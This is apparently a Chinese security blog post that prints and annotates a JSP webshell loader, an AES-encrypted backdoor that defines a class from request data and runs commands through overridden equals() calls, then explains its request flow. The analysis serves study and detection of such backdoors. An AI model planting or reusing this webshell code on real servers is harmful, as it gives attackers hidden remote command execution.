jsp payload解析

try {

byte\[\] data = base64Decode(request.getParameter(pass)); #HTTP请求中的参数 pass

data = x(data, false); #AES解密

if (application.getAttribute("GOx2") == null) { #GOx2是Webshell 代码动态设置的,用于存储特定的数据或对象

application.setAttribute("GOx2", new X(this.getClass().getClassLoader()).Q(data)); #从字节数组 data 中加载一个类,存储在 "GOx2" 的属性中。应该是对equals的重写

} else {

java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream(); #动态存储输出流

Object f = ((Class) application.getAttribute("GOx2")).newInstance(); #把第一次请求的GOx2存储的类,赋值给对象f

f.equals(request); #执行恶意请求

f.equals(arrOut); #在equals方法中,恶意代码会检查obj是否是ByteArrayOutputStream实例。如果是,它可能会执行写入数据

f.equals(data);

response.getWriter().write(md5.substring(0, 16)); #先传入 request 可能是为了准备一些数据或环境,然后传入 arrOut 进行某些输出操作,最后传入 data 执行最终的恶意代码。

f.toString();

response.getWriter().write(base64Encode(x(arrOut.toByteArray(), true))); #加密回显

response.getWriter().write(md5.substring(16)); #混淆与隐藏

}

} catch(Exception e) {}

是一个后门或Webshell,AES加密保护,使用预定义的密钥 xc 进行解密

先获取HTTP请求中的参数 pass,然后AES解密

第一次请求,pass解密之后是对equals的重写,因为GOx2为空,就存储在 "GOx2" 的属性中,方便后面调用

第二次请求才是真正的命令执行,因为GOx2已经有值,所以执行else,先调用GOx2中重写的equals给f进行命令执行

为什么是三次

f.equals(request);requst可能有除了pass其他恶意命令,准备一些数据或环境或者可能和pass(传入data)的内容进行拼接使用

f.equals(request);、f.equals(data);可以是联合共同执行命令

f.equals(arrOut);传出恶意代码,会检查obj是否是ByteArrayOutputStream实例。如果是,它可能会执行写入数据

最后response.getWriter().write(base64Encode(x(arrOut.toByteArray(), true))); 加密回显

相关推荐
Best-Wishes11 小时前
BurpSuite Pro教育版在linux系统中配置
linux·运维·服务器·网络安全·burpsuite
菩提小狗18 小时前
每日安全情报报告 · 2026-08-30
网络安全·漏洞·cve·安全情报·每日安全
黄俊懿2 天前
【架构师从入门到进阶】第五章:DNS&CDN&网关优化思路——第八节:网关-注入攻击与预防
sql·网络安全·架构·系统架构·架构师·架构设计
黄俊懿2 天前
【架构师从入门到进阶】第五章:DNS&CDN&网关优化思路——第七节:网关-XSS攻击与预防
网关·网络安全·架构·系统架构·架构师·xss·架构设计
数据知道2 天前
.NET 反序列化漏洞——ViewState 与 BinaryFormatter 实战深度剖析
网络·网络安全·.net
HackTwoHub2 天前
Butter_Cookie 黄油曲奇|浏览器渗透插件,云存储检测、XSS、SQL 注入一站式 Web 安全测试工具
前端·sql·安全·web安全·网络安全·自动化·xss
AI备忘录2 天前
(十六)GRE/IPSec 隧道配置命令五厂商对照:华为 华三 锐捷 迈普 思科
运维·服务器·网络·网络协议·网络安全·华为
Eason_LYC3 天前
【GetShell】DataEase H2 JDBC远程命令执行漏洞(CVE-2025-32966+CVE-2025-49001)
网络安全·漏洞复现·dataease·白帽子·cve-2025-32966·cve-2025-49001·远程命令执行
白猫不黑3 天前
运维如何转安全(个人经验篇)
运维·学习·安全·web安全·网络安全·信息安全
Demons_kirit3 天前
PortSwigger网络缓存欺骗(4)
网络安全·缓存